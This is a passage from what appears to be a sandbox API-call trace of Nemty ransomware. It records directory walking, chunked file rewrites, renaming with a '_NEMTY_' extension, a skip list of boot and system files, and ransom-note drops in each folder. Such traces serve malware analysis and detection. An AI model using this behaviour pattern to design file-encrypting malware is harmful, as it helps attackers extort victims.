nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0146.274] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.274] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0146.284] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.284] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0146.284] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.284] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0146.293] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.293] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0146.293] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.293] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0146.302] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.302] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0146.302] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.302] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0146.312] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.312] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0146.312] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.312] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0146.318] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.318] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0146.318] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.318] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0146.323] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.324] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0146.324] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163940, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.324] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0146.324] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0146.324] CloseHandle (hObject=0xffffffff) returned 0 [0146.324] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0146.324] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0146.324] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0146.324] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0146.324] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0146.324] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0146.324] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0146.324] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0146.324] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0146.324] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0146.324] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\drag.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\drag.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\drag.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\drag.png._nemty_kgobjgd_")) returned 0 [0146.324] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0146.324] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0146.324] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0146.324] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0146.324] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0146.324] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0146.324] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0146.324] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0146.324] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x24022fc4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="en-US", cAlternateFileName="")) returned 1 [0146.324] lstrcmpiW (lpString1="en-US", lpString2=".") returned 1 [0146.324] lstrcmpiW (lpString1="en-US", lpString2="..") returned 1 [0146.324] lstrcmpiW (lpString1="en-US", lpString2="...") returned 1 [0146.324] lstrcmpiW (lpString1="en-US", lpString2="windows") returned -1 [0146.324] lstrcmpiW (lpString1="en-US", lpString2="$RECYCLE.BIN") returned 1 [0146.324] lstrcmpiW (lpString1="en-US", lpString2="rsa") returned -1 [0146.325] lstrcmpiW (lpString1="en-US", lpString2="NTDETECT.COM") returned -1 [0146.325] lstrcmpiW (lpString1="en-US", lpString2="ntldr") returned -1 [0146.325] lstrcmpiW (lpString1="en-US", lpString2="MSDOS.SYS") returned -1 [0146.325] lstrcmpiW (lpString1="en-US", lpString2="IO.SYS") returned -1 [0146.325] lstrcmpiW (lpString1="en-US", lpString2="boot.ini") returned 1 [0146.325] lstrcmpiW (lpString1="en-US", lpString2="boot.ini") returned 1 [0146.325] lstrcmpiW (lpString1="en-US", lpString2="AUTOEXEC.BAT") returned 1 [0146.325] lstrcmpiW (lpString1="en-US", lpString2="ntuser.dat") returned -1 [0146.325] lstrcmpiW (lpString1="en-US", lpString2="desktop.ini") returned 1 [0146.325] lstrcmpiW (lpString1="en-US", lpString2="CONFIG.SYS") returned 1 [0146.325] lstrcmpiW (lpString1="en-US", lpString2="RECYCLER") returned -1 [0146.325] lstrcmpiW (lpString1="en-US", lpString2="BOOTSECT.BAK") returned 1 [0146.325] lstrcmpiW (lpString1="en-US", lpString2="bootmgr") returned 1 [0146.325] lstrcmpiW (lpString1="en-US", lpString2="programdata") returned -1 [0146.325] lstrcmpiW (lpString1="en-US", lpString2="appdata") returned 1 [0146.325] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="en-US", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0146.325] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="en-US", cchWideChar=5, lpMultiByteStr=0x653ef10, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="en-US", lpUsedDefaultChar=0x0) returned 5 [0146.325] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="en-US", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0146.325] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="en-US", cchWideChar=5, lpMultiByteStr=0x653ef10, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="en-US", lpUsedDefaultChar=0x0) returned 5 [0146.325] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f943b0 [0146.325] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xbe) returned 0x6340048 [0146.325] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f943b0 | out: hHeap=0x4f90000) returned 1 [0146.325] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0146.325] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0146.325] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0146.325] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0146.325] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0146.325] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0146.325] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0146.325] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0146.325] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340110 [0146.325] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0146.325] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63401b8 [0146.325] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340110 | out: hHeap=0x4f90000) returned 1 [0146.325] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\en-us\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0146.327] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0146.327] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0146.327] WriteFile (in: hFile=0x1ec, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eec0, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eec0*=0xef8, lpOverlapped=0x0) returned 1 [0146.328] CloseHandle (hObject=0x1ec) returned 1 [0146.329] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0146.329] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0146.329] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0146.329] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0146.329] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0146.329] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0146.329] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0146.329] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0146.329] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0146.329] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0146.329] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0146.329] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340110 [0146.329] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0146.329] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63401b8 [0146.329] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340110 | out: hHeap=0x4f90000) returned 1 [0146.329] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\en-us\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0146.330] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0146.330] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0146.330] WriteFile (in: hFile=0x1ec, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0146.331] CloseHandle (hObject=0x1ec) returned 1 [0146.331] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0146.331] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0146.331] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0146.331] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\*.*", lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xadd2630, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0xadd2630, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3423a70 [0146.331] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0146.331] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xadd2630, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0xadd2630, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.331] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0146.331] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0146.331] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x24022fc4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="css", cAlternateFileName="")) returned 1 [0146.331] lstrcmpiW (lpString1="css", lpString2=".") returned 1 [0146.331] lstrcmpiW (lpString1="css", lpString2="..") returned 1 [0146.331] lstrcmpiW (lpString1="css", lpString2="...") returned 1 [0146.331] lstrcmpiW (lpString1="css", lpString2="windows") returned -1 [0146.331] lstrcmpiW (lpString1="css", lpString2="$RECYCLE.BIN") returned 1 [0146.331] lstrcmpiW (lpString1="css", lpString2="rsa") returned -1 [0146.331] lstrcmpiW (lpString1="css", lpString2="NTDETECT.COM") returned -1 [0146.331] lstrcmpiW (lpString1="css", lpString2="ntldr") returned -1 [0146.331] lstrcmpiW (lpString1="css", lpString2="MSDOS.SYS") returned -1 [0146.331] lstrcmpiW (lpString1="css", lpString2="IO.SYS") returned -1 [0146.331] lstrcmpiW (lpString1="css", lpString2="boot.ini") returned 1 [0146.331] lstrcmpiW (lpString1="css", lpString2="boot.ini") returned 1 [0146.331] lstrcmpiW (lpString1="css", lpString2="AUTOEXEC.BAT") returned 1 [0146.332] lstrcmpiW (lpString1="css", lpString2="ntuser.dat") returned -1 [0146.332] lstrcmpiW (lpString1="css", lpString2="desktop.ini") returned -1 [0146.332] lstrcmpiW (lpString1="css", lpString2="CONFIG.SYS") returned 1 [0146.332] lstrcmpiW (lpString1="css", lpString2="RECYCLER") returned -1 [0146.332] lstrcmpiW (lpString1="css", lpString2="BOOTSECT.BAK") returned 1 [0146.332] lstrcmpiW (lpString1="css", lpString2="bootmgr") returned 1 [0146.332] lstrcmpiW (lpString1="css", lpString2="programdata") returned -1 [0146.332] lstrcmpiW (lpString1="css", lpString2="appdata") returned 1 [0146.332] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="css", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0146.332] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="css", cchWideChar=3, lpMultiByteStr=0x653ebd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="css", lpUsedDefaultChar=0x0) returned 3 [0146.332] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="css", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0146.332] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="css", cchWideChar=3, lpMultiByteStr=0x653ebd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="css", lpUsedDefaultChar=0x0) returned 3 [0146.332] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0146.332] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0146.332] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0146.332] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0146.332] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0146.332] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0146.332] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0146.332] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0146.332] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0146.332] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340110 [0146.332] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0146.332] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63401c8 [0146.332] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340110 | out: hHeap=0x4f90000) returned 1 [0146.332] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\css\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\en-us\\css\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0146.333] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401c8 | out: hHeap=0x4f90000) returned 1 [0146.333] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0146.333] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0146.333] CloseHandle (hObject=0x254) returned 1 [0146.334] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0146.334] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0146.334] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0146.334] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0146.334] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6347058 [0146.334] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0146.334] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0146.334] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0146.334] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0146.334] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0146.334] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0146.334] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340110 [0146.334] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0146.334] 